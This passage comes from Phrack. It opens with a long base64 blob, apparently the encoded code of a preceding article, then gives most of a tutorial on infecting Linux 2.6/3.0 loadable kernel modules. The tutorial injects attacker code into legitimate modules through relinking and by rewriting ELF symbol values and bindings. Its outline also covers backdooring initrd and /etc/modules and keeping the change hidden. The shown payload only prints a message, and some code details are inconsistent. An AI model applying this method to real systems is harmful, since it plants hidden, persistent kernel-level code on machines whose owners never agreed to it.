EaeI06JbYpp2ZFou4OlhIgIO8MXf0VPiRhFaGdZceoo4o80w90eIeW6K18dy 48HQ/vsJUiVZqpCDYvShnDOVizTDVMGaW+w8egiaV+VF4ozFHr6ol1mcvEpi dLXIBaOqkYaopHRYpn0hz0GIsJPmogiupEf0pcXWOb6EHxf0zNp2WizuARwg +HHA5H0IbZ38st45rkhzWgiSo57CRcktwI22U7itYyXLi8E8lSUhDssQEdg1 IVZ6OQw4k5hyuOdKsEtMX+vyuNKfXsjiV44P3sGcmbniGEV1YfCLRqkK7C/O kLQqhY3bqTQ+98cfZ/danbNapgvzUseDylkHFsX7BfeOw1lpn8JIdIfcC/Ef tNGLdlu/0EaIMDass2rNiznDn7w5OjSR3+3ulogcXgajV6LgYpAPBMQUfWuY 0OjvYZ+LLWWhJZlcLJOLZXKxTC6WycUyuVgmF8vkYplcLJOLZXKxTC6WycUy uVgmF8vkYplcLJOLZXKxTC6etfn+k4vlq/dkdrHMLpbZxT9idnFl7se3kXY8 y/99CUgOYbG4CajFD8v/nf9/P9O/nfVu+f1/6512S+b/3sYn6P9peGStrJeN IHc8zd4HmRWIBPHic6cR3FHuKPuvnph8JfQHk2Z/6riDZpr0GjctniZsdJtW ZI8NC4RuGkdNkSR5RznY/9+r93ad/h3l2ZMnhU4RxS9Jk+0kjLPtTejjGdTq O0a30Wm0cTmeFY1smxcDCk/NXw8ePzsCQ2W8d3VjcA7bJMc2cNmlkZ5bzZui yIhwrWYNenfVdAoaMQ4KTz44HAPAlRiuDf88+AcF9traHeXN4Z55sP/qBYyZ 69K0o6QPbp9vChyQwm9eH71d0JbC4iNIxHnx5PD10ZH55PXLN/sHe3+DOncU HsMxn+4fkv/pEZEw27yj/LZ3eLT/+hXgctJG4t1RQH527nB7V07udPw4SauK olWoMp7AxGYDauQlUPXN+6caeXz45HkPsCLFid1VC88a4YYzBoDQ1hiSRr1h e4Pssd6ABvXcY5B9Fz0bQTQAl+Ilj4TG5x66DTg7Zpp3LseUtcugVtChmgB3 lIqmO1X9Gc53VZB6kKygcoTKXoBwKmwafk+lCR9SydeKpLmjVOC6UzWBElIV Lap7XQupe41g517Dzo24f1dNrQ882eTuQ8Ti7r+w9dc2st/wp/r+T+c27/9s rK9vzt//6cr1/zY+3/79n35k+faYoLHAXS0/92NBCXkDSN4AkjeA5A0geQNI 3gCSN4DkDSB5A0jeAJI3gOQNIHkD6Du6AbTWrbhFo5bbaNe7BzQPZ+4uUGGZ 6DKTcDOXg64wscW0ymzOPKi85bg6ZTLDCSLBScCUq9tuEePR7OnvEWQ57OUN KXlDSt6Qkjek5A0peUNK3pCSN6TkDSl5Q0rekJI3pOQNKXlDSt6Qkjek5A2p j/KGlLwhJW9IyRtS8oaUvCElb0jJG1LyhtQ//j9muKXPLP+76sbAzWSBX5z/ 3W5317dK+d8bW911mf99G5+vkf9dlLRi3jeKHVTBgrVKpn72JFO9Zar3Zane cTJwAkytzhWdx83kPKTxfDF6q8XSoe0n7nxDz7P8W07Yfvn4jXm0/397pNt6 sPnuoFD+8vHRC6JmLQzS1tiaBwIxIAMrsQhGEMkEvKPcLsGCVRpK1NJptadn BeCWMQc4/ot5vyKFU2Rc9KdDvX6SJhViHULrBWAq1FpzQE+a+FzTX5uHT98f fnptHv3+6okIkGLNQx4nTM8P0JvEZAAA2wPyhmpLTydU7+hvDl+/NQ/3Hj/9 xL4xivL6548P957qCFAHdFf/m9JD03rZeb7R5llMNIrAra7h1HcIDkJYCXd1 6ZmTqC2RvzRzv+O/skNyPtkeYLiGp1ar2VBr7BTGw0Pzulqmp3aSpeTwKXpT H+eH9JvNELCtxpI1Xoin7YLiMXJmgXjmqnGug+0p8JxV/aBMZ3P/AlxfzPAe CsRVuZ6ieU22I0cWc71TSo/JcT1NjGI8/xF4vZCtu0qBp2keUcrT3S/PTZ6N CTzF8AbzQCpy38hw6vObb8BndsfkK6TH6XUeCy22K2VVFQAxFQGyfUjJttY+ /vKpdUBajC+kgRJkW0vHDX8wRB6yhMvZgojValXyfMZrluGYMOmZnbdhhO/j 4pQ2rL52Gtus87VT14p5dxiiwqPpMkXFeXW6xy7fz/qc5vIqRQxR+LhvDDLo 9QNXkBoe2JEJTvDX/YM9Uh+GleLQ2dg8nqvgoBiAuQbpRRSRICc4nOsx43Cu kHE69lnEq1BR1dZo6zVyL67p2SxE/E4dhr2hsIN4TtScAImgEQZFMT2o18Mw JWMqU3SjLTSdC8oQqBUzKcuJIAw2DLVUgERkj7XJY8/kJI7B9We99Nq9M1LT V1MHYy75bchtyzDkEs54yg16Gjnhu4uy5WBhz/lUxjnFTWPHANKsMgXZ7ZmS 8WJXZxj35iWnVmw7SycelqvSnOIsaRhPHXu9+/v3P33Cv859HvoUW0Ye70xx zUK4FRgUAmXcYud8p+yMKgXFEFjL7QHqXZ1HEq8yGo+xXWk0vrO41mgYoLvS WLhbudZIs6jeVSkpNkJi1DS5TjD5nWDyVDA5iwwsz2aUplviMQ51SwzGoW6B u4J4N8Ta9JDAsxyfWR8rGtl6/mSKeaa+Y1PV6LT4kUAs0tvAOgQw8jkzANjx YWd2bQWsxr2YfNjHSMi7Y2YuEF7reN4Rq7aFrHn7mPcANL92eO6Lf+be/1F4 OcutxH87nc56Kf67CV9k/Pc2Pl8j/ltxE1PGgGUMWMaAZQxYxoBlDFjGgGUM +IeKAcvw2j8jvCY8VROdWRp9hYj8grhdyQjwjS+CaFcMk6vuVL8OiOe5l4OB 32tYf250EecXr8rBnYbIgsUdEb50hG0B+MYlroh13tQJQYFPV33Rz2Uh/+rZ +UHIZ3eKeYuw18DbB2jTEpFtPTe1yonxtxF0WmxiLF6HgHkCakG8bnhWbFop ypQNijceSWViIp9Pbqm8PLhZjlXr+cloQmiggT2FbR/l75DhY4n7l+wdVFxL 8l2NPKuN7RQQvgCz/BKaFBLY3GDBAFxDs7fv5F+HhdI7ewGPeIvMHCGYmuRR yiVizoxdtjH/fsxdxSgXHV/+WPbu+lZLCNqc1bp59S5xa7njJMGmYk1e5bjG pWojbHBebaCKqU1Oay5VmkqdEfXFSOvs/K3iRAtZUVKzCw9HFLw3WdXjW4q5 l+b/w8Xcv6XPLP6Pm7GXe19ijIvj/6317tz7vzvdroz/38pHuXbc/ypB/7cA MOY310QRCzcryk0E868Yyb+RMP6yMXzlJsL3NxW7J0oWuVcWBu0Vw1CuHqy/ NFIPH9ImxkW5/zuwYv6Cm2ggXvm/o5kEWNeouqQCgDsA+JJDpQLw0n9tkwKv OAEF4OsAfIk31uMA6w2cYvbm+gqU0DXYmcdE/J86gAgC6eSBLHz9/SIwHQaG 8RHULsbQ8HmsMy3DxR90PZ6mCpBEzgQ2sS8CkEU0AjG+mwJU1J6cw6OLUl57 GkwGQa2h/C5EG/eNXoCKShMLfEaMe6ByWAw3dvAwDFw3OEXsT2k/BicpBomr /dsKLR8RGuEejb0zdwyKgBsZ1p4djLmwIAkoz6ARjpe2rinKPsMA9GHoYC4C yHsMWstRRPz7lDmqAJJNCbBW1Da+nWMIqgpKRBQFHoEsTkRs13I8TgekzZ4F WncEZECcmEKDYgFRHRA30EVqUxyRwFIJW0FdSRt51p8gDn0QBIY+hv3Cad8F DaURUJ0OpjYjDAABWhBGDNYyQPOhzDAD+tHIsdwYdPaUpKdPBcwwbgVWCWfI 9rVYieVgsRltG4qB+LkDK3GtuGEHnqEoQh/RjBfrmoCP41kj2mR3N6PzuGnF jtWkMFxMrcY48RSlo5HXfoESMK1QvDgcp4ECBQY08tNZutapTk7H59w8Kg7O h5xYLqwUAycOpwmPKjDkg1MfwI2dEKfAmNgoIBxGE2Qjw5b6I6RqM6FnCZK7 OaKt/58xyJE5XFzGwDgtKi0B5RKF4uSM/JxEsKnEmwXKGCUgEyAGArMOl6u/ 22hTdBSMglEwCkbBKBgFo2AUjIJRMApGwXABAP50N8EA8AAA ==== <--> --[ EOF Sursa: http://www.phrack.org/issues.html?issue=68&id=6#article
  16. Infecting loadable kernel modules ==Phrack Inc.== Volume 0x0e, Issue 0x44, Phile #0x0b of 0x13 |=-----------------------------------------------------------------------=| |=----------------=[ Infecting loadable kernel modules ]=----------------=| |=-------------------=[ kernel versions 2.6.x/3.0.x ]=-------------------=| |=-----------------------------------------------------------------------=| |=----------------------------=[ by styx^ ]=-----------------------------=| |=-----------------------=[ the.styx@gmail.com ]=------------------------=| |=-----------------------------------------------------------------------=| ---[ Index 1 - Introduction 2 - Kernel 2.4.x method 2.1 - First try 2.2 - LKM loading explanations 2.3 - The relocation process 3 - Playing with loadable kernel modules on 2.6.x/3.0.x 3.1 - A first example of code injection 4 - Real World: Is it so simple? 4.1 - Static functions 4.1.1 - Local symbol 4.1.2 - Changing symbol bind 4.1.3 - Try again 4.2 - Static __init functions 4.3 - What about cleanup_module 5 - Real life example 5.1 - Inject a kernel module in /etc/modules 5.2 - Backdooring initrd 6 - What about other systems? 6.1 - Solaris 6.1.1 - A basic example 6.1.2 - Playing with OS modules 6.1.3 - Keeping it stealthy 6.2 - *BSD 6.2.1 - FreeBSD - NetBSD - OpenBSD 7 - Conclusion 8 - References 9 - Codes 9.1 - Elfstrchange 9.2 - elfstrchange.patch ---[ 1 - Introduction In Phrack #61 [1] truff introduced a new method to infect a loadable kernel module on Linux kernel x86 2.4.x series. Actually this method is currently not compatible with the Linux kernel 2.6.x/3.0.x series due to the many changes made in kernel internals. As a result, in order to infect a kernel module, changing the name of symbols in .strtab section is not enough anymore; the task has become a little bit trickier. In this article it will be shown how to infect a kernel module on Linux kernel x86 2.6.*/3.0.x series. All the methods discussed here have been tested on kernel version 2.6.35, 2.6.38 and 3.0.0 on Ubuntu 10.10, 11.04 and 11.10 and on kernel version 2.6.18-238 on CentOS 5.6. The proposed method has been tested only on 32-bit architectures: a 64-bit adaptation is left as an exercise to the reader. Finally, I want to clarify that the proposed paper is not innovative, but is only an update of truff's paper. ---[ 2 - Kernel 2.4.x method ---[ 2.1 - First try With the help of a simple example it will be explained why truff's method is no longer valid: we are using the "elfstrchange" tool provided in his paper. First, let's write a simple testing kernel module: /****************** orig.c ***********************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); int evil(void) { printk(KERN_ALERT "Init Inject!"); return 0; } int init(void) { printk(KERN_ALERT "Init Original!"); return 0; } void clean(void) { printk(KERN_ALERT "Exit Original!"); return; } module_init(init); module_exit(clean); /****************** EOF **************************************************/ The module_init macro is used to register the initialization function of the loadable kernel module: in other words, the function which is called when the module is loaded, is the init() function. Reciprocally the module_exit macro is used to register the termination function of the LKM which means that in our example clean() will be invoked when the module is unloaded. These macros can be seen as the constructor/destructor declaration of the LKM object. A more exhaustive explanation can be found in section 2.2. Below is the associated Makefile: /****************** Makefile *********************************************/ obj-m += orig.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules clean: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean /****************** EOF **************************************************/ Now the module can be compiled and the testing can start: $ make ... Truff noticed that altering the symbol names located in the .strtab section was enough to fool the resolution mechanism of kernel v2.4. Indeed the obj_find_symbol() function of modutils was looking for a specific symbol ("init_module") using its name [1]: /*************************************************************************/ module->init = obj_symbol_final_value(f, obj_find_symbol(f, SPFX "init_module")); module->cleanup = obj_symbol_final_value(f, obj_find_symbol(f, SPFX "cleanup_module")); /*************************************************************************/ Let's have a look at the ELF symbol table of orig.ko: $ objdump -t orig.ko orig.ko: file format elf32-i386 SYMBOL TABLE: ... 00000040 g F .text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init We want to setup evil() as the initialization function instead of init(). Truff was doing it in two steps: 1. renaming init to dumm 2. renaming evil to init This can easily be performed using his tool, "elfstrchange", slightly bug-patched (see section 9): $ ./elfstrchange orig.ko init dumm [+] Symbol init located at 0xa91 [+] .strtab entry overwritten with dumm $ ./elfstrchange orig.ko evil init [+] Symbol evil located at 0xa4f [+] .strtab entry overwritten with init $ objdump -t orig.ko ... 00000040 g F .text 0000001b init <-- evil() 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b dumm <-- init() Now we're loading the module: $ sudo insmod orig.ko $ dmesg |tail ... [ 2438.317831] Init Original! As we can see the init() function is still invoked. Applying the same method with "init_module" instead of init doesn't work either. In the next subsection the reasons of this behaviour are explained. ---[ 2.2 LKM loading explanations In the above subsection I briefly mentioned the module_init and module_exit macros. Now let's analyze them. In kernel v2.4 the entry and exit functions of the LKMs were init_module() and cleanup_module(), respectively. Nowadays, with kernel v2.6, the programmer can choose the name he prefers for these functions using the module_init() and module_exit() macros. These macros are defined in "include/linux/init.h" [3]: /*************************************************************************/ #ifndef MODULE [...] #else /* MODULE */ [...] /* Each module must use one module_init(). */ #define module_init(initfn) \ static inline initcall_t __inittest(void) \ { return initfn; } \ int init_module(void) __attribute__((alias(#initfn))); /* This is only required if you want to be unloadable. */ #define module_exit(exitfn) \ static inline exitcall_t __exittest(void) \ { return exitfn; } \ void cleanup_module(void) __attribute__((alias(#exitfn))); [...] #endif /*MODULE*/ /*************************************************************************/ We are only interested in the "loadable module" case, that is when MODULE is defined. As you can see, init_module is always declared as an alias of initfn, the argument of the module_init macro. As a result, the compiler will always produce identical symbols in the relocatable object: one for initfn and one for "module_init". The same rule applies for the termination function, if the unloading mechanism is compiled in the kernel (that is if CONFIG_MODULE_UNLOAD is defined). When a module is compiled, first the compiler creates an object file for each source file, then it generates an additional generic source file, compiles it and finally links all the relocatable objects together. In the case of orig.ko, orig.mod.c is the file generated and compiled as orig.mod.o. The orig.mod.c follows: /*************************************************************************/ #include <linux/module.h> #include <linux/vermagic.h> #include <linux/compiler.h> MODULE_INFO(vermagic, VERMAGIC_STRING); struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif .arch = MODULE_ARCH_INIT, }; static const struct modversion_info ____versions[] __used __attribute__((section("__versions"))) = { { 0x4d5503c4, "module_layout" }, { 0x50eedeb8, "printk" }, { 0xb4390f9a, "mcount" }, }; static const char __module_depends[] __used __attribute__((section(".modinfo"))) = "depends="; MODULE_INFO(srcversion, "EE786261CA9F9F457DF0EB5"); /*************************************************************************/ This file declares and partially initializes a struct module which will be stored in the ".gnu.linkonce.this_module" section of the object file. The module struct is defined in "include/linux/module.h": /*************************************************************************/ struct module { [...] /* Unique handle for this module */ char name[MODULE_NAME_LEN]; [...] /* Startup function. */ int (*init)(void); [...] /* Destruction function. */ void (*exit)(void); [...] }; /*************************************************************************/ So when the compiler auto-generates the C file, it always makes the .init and .exit fields of the struct pointing to the function "init_module" and "cleanup_module". But the corresponding functions are not declared in this C file so they are assumed external and their corresponding symbols are declared undefined (*UND*): $ objdump -t orig.mod.o orig.mod.o: file format elf32-i386 SYMBOL TABLE: [...] 00000000 *UND* 00000000 init_module 00000000 *UND* 00000000 cleanup_module When the linking with the other objects is performed, the compiler is then able to solve this issue thanks to the aliasing performed by the module_init() and module_exit() macros. $ objdump -t orig.ko 00000000 g F .text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000184 __this_module 00000040 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000040 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init The aliasing can be seen as a smart trick to allow the compiler to declare and fill the __this_module object without too much trouble. This object is essential for the loading of the module in the v2.6.x/3.0.x kernels. To load the LKM, a userland tool (insmod/modprobe/etc.) calls the sys_init_module() syscall which is defined in "kernel/module.c": /*************************************************************************/ SYSCALL_DEFINE3(init_module, void __user *, umod, unsigned long, len, const char __user *, uargs) { struct module *mod; int ret = 0; ... /* Do all the hard work */ mod = load_module(umod, len, uargs); ... /* Start the module */ if (mod->init != NULL) ret = do_one_initcall(mod->init); ... } /*************************************************************************/ The load_module() function returns a pointer to a "struct module" object when the LKM is loaded in memory. As stated in the source code, load_module() handles the main tasks associated with the loading and as such is neither easy to follow nor to explain in a few sentences. However there are two important things that you should know: - load_module() is responsible for the ELF relocations - the mod->init is holding the relocated value stored in __this_module Note: Because __this_module is holding initialized function pointers (the address of init() and clean() in our example), there has to be a relocation at some point. After the relocation is performed, mod->init() refers to the kernel mapping of init_module() and can be called through do_one_initcall() which is defined in "init/main.c": /*************************************************************************/ int __init_or_module do_one_initcall(initcall_t fn) { int count = preempt_count(); int ret; if (initcall_debug) ret = do_one_initcall_debug(fn); <-- init_module() may be else called here ret = fn(); <-- or it may be called here msgbuf[0] = 0; ... return ret; } /*************************************************************************/ ---[ 2.3 - The relocation process The relocation itself is handled by the load_module() function and without any surprise the existence of the corresponding entries can be found in the binary: $ objdump -r orig.ko ./orig.ko: file format elf32-i386 ... RELOCATION RECORDS FOR [.gnu.linkonce.this_module]: OFFSET TYPE VALUE 000000d4 R_386_32 init_module 00000174 R_386_32 cleanup_module This means that the relocation has to patch two 32-bit addresses (because type == R_386_32) located at: - (&.gnu.linkonce.this_module = &__this_module) + 0xd4 [patch #1] - (&.gnu.linkonce.this_module = &__this_module) + 0x174 [patch #2] A relocation entry (in a 32-bit environment) is an Elf32_Rel object and is defined in "/usr/include/elf.h": /*************************************************************************/ typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; #define ELF32_R_SYM(val) ((val) >> 8) /*************************************************************************/ The important thing to remember is that the symbol is located using ELF32_R_SYM() which provides an index in the table of symbols, the .symtab section. This can be easily seen: $ readelf -S ./orig.ko | grep gnu.linkonce [10] .gnu.linkonce.thi PROGBITS 00000000 000240 000184 00 WA 0 0 32 [11] .rel.gnu.linkonce REL 00000000 0007f8 000010 08 16 10 4 The relocation section associated with section 10 is thus section 11. $ readelf -x 11 orig.ko Hex dump of section '.rel.gnu.linkonce.this_module': 0x00000000 d4000000 01160000 74010000 01150000 ........t....... So ELF32_R_SYM() is returning 0x16 (=22) for the first relocation and 0x1b (=21) for the second one. Now let's see the table of symbols: $ readelf -s .orig.ko Symbol table '.symtab' contains 33 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND ... 21: 00000040 25 FUNC GLOBAL DEFAULT 2 cleanup_module 22: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module ... This is a perfect match. So when the LKM is loaded: - The kernel performs a symbol resolution and the corresponding symbols are updated with a new value. At his point init_module and cleanup_module are holding kernel space addresses. - The kernel performs the required relocations using the index in the table of symbols to know how to patch. When the relocation is performed __this_module has been patched twice. At this point it should be clear that the address value of the init_module symbol has to be modified if we want to call evil() instead of init(). ---[ 3 - Playing with loadable kernel modules on 2.6.x/3.0.x As pointed out above, the address of the init_module symbol has to be modified in order to invoke the evil() function at loading time. Since the LKM is a relocatable object, this address is calculated using the offset (or relative address) stored in the st_value field of the Elf32_Sym structure [2], defined in "/usr/include/elf.h": /*************************************************************************/ typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; /*************************************************************************/ $ objdump -t orig.ko orig.ko: file format elf32-i386 SYMBOL TABLE: ... 00000040 g F .text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init The objdump output shows that: - the relative address of evil() is 0x00000040; - the relative address of init_module() is 0x00000020; - the relative address of init() is 0x00000020; Altering these offsets is enough to have evil() being called instead of init_module() because the relocation process in the kernel will produce the corresponding "poisoned" virtual address. The orig.ko has to look like this: 00000040 g F .text 0000001b evil ... 00000040 g F .text 0000001b init_module To do so, we can use my 'elfchger' script in order to modify the ELF file. The code structure is the same as truff's one, with some minor changes. The script takes the following input parameters: ./elfchger -s [symbol] -v [value] <module_name> Where [value] represents the new relative address of the [symbol] (init_module in our case) in <module_name>: Let's apply it to our example: $ ./elfchger -s init_module -v 00000040 orig.ko [+] Opening orig.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x77c [+] Finding ".strtab" section... >> Found at 0x7a4 [+] Getting symbol' infos: >> Symbol found at 0x99c >> Index in symbol table: 0x16 [+] Replacing 0x00000020 with 0x00000040... done! The ELF file is now changed: $ objdump -t orig.ko orig.ko: file format elf32-i386 SYMBOL TABLE: ... 00000040 g F .text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000040 g F .text 0000001b init_module 00000000 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init Let's load the module: $ sudo insmod orig.ko $ dmesg | tail ... [ 5733.929286] Init Inject! $ As expected the evil() function is invoked instead of init() when the module is loaded. ---[ 3.1 A first example of code injection The next step is the injection of external code inside the original module (orig.ko). A new kernel module (evil.ko) will be injected into orig.ko. We will use both orig.c and evil.c source codes: /***************************** orig.c ************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); int init_module(void) { printk(KERN_ALERT "Init Original!"); return 0; } void clean(void) { printk(KERN_ALERT "Exit Original!"); return; } module_init(init); module_exit(clean); /******************************** EOF ************************************/ /***************************** evil.c ************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); int evil(void) { printk(KERN_ALERT "Init Inject!"); return 0; } /******************************** EOF ************************************/ Once the two modules orig.ko and evil.ko are compiled, they can be linked together using the 'ld -r' command (as explained by truff) because they are both relocatable objects. $ ld -r orig.ko evil.ko -o new.ko $ objdump -t new.ko new.ko: file format elf32-i386 SYMBOL TABLE: ... 00000040 g F .text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 g F .text 00000019 clean 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000020 g F .text 0000001b init The evil() function has now been linked into the new.ko module. The next step is to make init_module() (defined in orig.ko) an alias of evil() (defined in evil.ko). It can be done easily using ./elfchger: $ ./elfchger -f init_module -v 00000040 new.ko [+] Opening new.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x954 [+] Finding ".strtab" section... >> Found at 0x97c [+] Getting symbol' infos: >> Symbol found at 0xbe4 >> Index in symbol table: 0x1d [+] Replacing 0x00000020 with 0x00000040... done! At this point the module can be renamed and loaded: $ mv new.ko orig.ko $ sudo insmod orig.ko $ dmesg | tail ... [ 6791.920363] Init Inject! And the magic occurs As already explained by truff, if we want the original module to work properly, we need to call its initialization function. This can be done using an imported symbol which will be fixed at linking time. The init() function is declared as extern: this means that it will be resolved at linking time. We use the following code: /****************************** evil.c ***********************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); extern int init(); int evil(void) { init(); printk(KERN_ALERT "Init Inject!"); /* do something */ return 0; } /******************************** EOF ************************************/ And it works: $ dmesg | tail ... [ 7910.392244] Init Original! [ 7910.392248] Init Inject! ---[ 4 - Real World: Is it so simple? In this section it will be shown why the method described above when used in real life may not work. In fact the example modules were overly simplified for a better understanding of the basic idea of module infection. ---[ 4.1 - Static functions The majority of Linux system modules are a little bit different from those used above. Here is a more accurate example: /***************************** orig.c ************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); static int init(void) { printk(KERN_ALERT "Init Original!"); return 0; } static void clean(void) { printk(KERN_ALERT "Exit Original!"); return; } module_init(init); module_exit(clean); /******************************** EOF ************************************/ Let's try to use our method to inject the old evil code inside this new orig module. $ ld -r orig.ko evil.ko -o new.ko $ sudo insmod new.ko insmod: error inserting 'new.ko': -1 Unknown symbol in module What? More information is needed: $ dmesg | tail ... [ 2737.539906] orig: Unknown symbol init (err 0) The unknown symbol appears to be init. To understand the reason why init is "unknown" let's have a look at the symbol table of new.ko: $ objdump -t new.ko ... SYMBOL TABLE: ... 00000000 l F .text 00000019 clean 00000020 l F .text 0000001b init ... 00000040 g F .text 00000020 evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000020 g F .text 0000001b init_module 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000000 *UND* 00000000 init This output shows that there are now two "init" symbols, one of them not being defined (*UND*). This means that the linker does not perform correctly the linking between the init functions in orig.ko and evil.ko. As a result, when the module is loaded, the kernel tries to find the init symbol, but since it is not defined anywhere it fails to do so and the module is not loaded. ---[ 4.1.1 - Local symbol The 'readelf' tool can give us more insight: $ readelf -s orig.ko Symbol table '.symtab' contains 26 entries: Num: Value Size Type Bind Vis Ndx Name ... 14: 00000020 27 FUNC LOCAL DEFAULT 2 init ... To summarize, we know about the init symbol that: - its relative address is 0x00000020; - its type is a function; - its binding is local; The symbol binding is now local (while it was previously global) since the init function is now declared 'static' in orig.c. This has the effect to reduce its scope to the file in which it is declared. For this reason the symbol was not properly resolved by the linker. We need to do something in order to change the scope of init, otherwise the injection won't work. ---[ 4.1.2 - Changing symbol binding It's possible to change a symbol binding using the 'objcopy' tool. In fact the '--globalize-symbol' option can be used to give global scoping to the specified symbol: $ objcopy --globalize-symbol=init ./orig.ko orig2.ko But if for some reason, objcopy is not present, the tool that I wrote can also globalize a particular symbol modifying all the necessary fields inside the ELF file. Each symbol table entry in the .symtab section is defined as follows [2]: /******************************** EOF ************************************/ typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; /******************************** EOF ************************************/ First, it's necessary to find in the ELF file the symbol we are looking for (init) and check if it has a global or a local binding. The function ElfGetSymbolByName() searches the offset at which init symbol is located in the .symtab and it fills the corresponding "Elf32_Sym sym" structure. Next, the binding type must be checked by looking at the st_info field. Passing sym.st_info to the macro ELF32_ST_BIND() defined in "<elf.h>", returns the expected binding value. If the symbol has a local binding, these steps have to be performed: 1. Reorder the symbols: the symbol we are interested in must be placed among the global symbols inside the .symtab section. We'll see later why this step is mandatory. We need to move the init symbol from: $ readelf -s orig.ko Symbol table '.symtab' contains 26 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 00000000 0 SECTION LOCAL DEFAULT 1 2: 00000000 0 SECTION LOCAL DEFAULT 2 3: 00000000 0 SECTION LOCAL DEFAULT 4 4: 00000000 0 SECTION LOCAL DEFAULT 5 5: 00000000 0 SECTION LOCAL DEFAULT 6 6: 00000000 0 SECTION LOCAL DEFAULT 8 7: 00000000 0 SECTION LOCAL DEFAULT 9 8: 00000000 0 SECTION LOCAL DEFAULT 10 9: 00000000 0 SECTION LOCAL DEFAULT 12 10: 00000000 0 SECTION LOCAL DEFAULT 13 11: 00000000 0 SECTION LOCAL DEFAULT 14 12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c 13: 00000000 25 FUNC LOCAL DEFAULT 2 clean 14: 00000020 27 FUNC LOCAL DEFAULT 2 init <----- 15: 00000000 12 OBJECT LOCAL DEFAULT 5 __mod_license6 16: 00000000 0 FILE LOCAL DEFAULT ABS orig.mod.c 17: 00000020 35 OBJECT LOCAL DEFAULT 5 __mod_srcversion31 18: 00000043 9 OBJECT LOCAL DEFAULT 5 __module_depends 19: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions 20: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5 21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module 22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module 23: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module 24: 00000000 0 NOTYPE GLOBAL DEFAULT UND mcount 25: 00000000 0 NOTYPE GLOBAL DEFAULT UND printk To: Symbol table '.symtab' contains 26 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 00000000 0 SECTION LOCAL DEFAULT 1 2: 00000000 0 SECTION LOCAL DEFAULT 2 3: 00000000 0 SECTION LOCAL DEFAULT 4 4: 00000000 0 SECTION LOCAL DEFAULT 5 5: 00000000 0 SECTION LOCAL DEFAULT 6 6: 00000000 0 SECTION LOCAL DEFAULT 8 7: 00000000 0 SECTION LOCAL DEFAULT 9 8: 00000000 0 SECTION LOCAL DEFAULT 10 9: 00000000 0 SECTION LOCAL DEFAULT 12 10: 00000000 0 SECTION LOCAL DEFAULT 13 11: 00000000 0 SECTION LOCAL DEFAULT 14 12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c 13: 00000000 25 FUNC LOCAL DEFAULT 2 clean 14: 00000000 12 OBJECT LOCAL DEFAULT 5 __mod_license6 15: 00000000 0 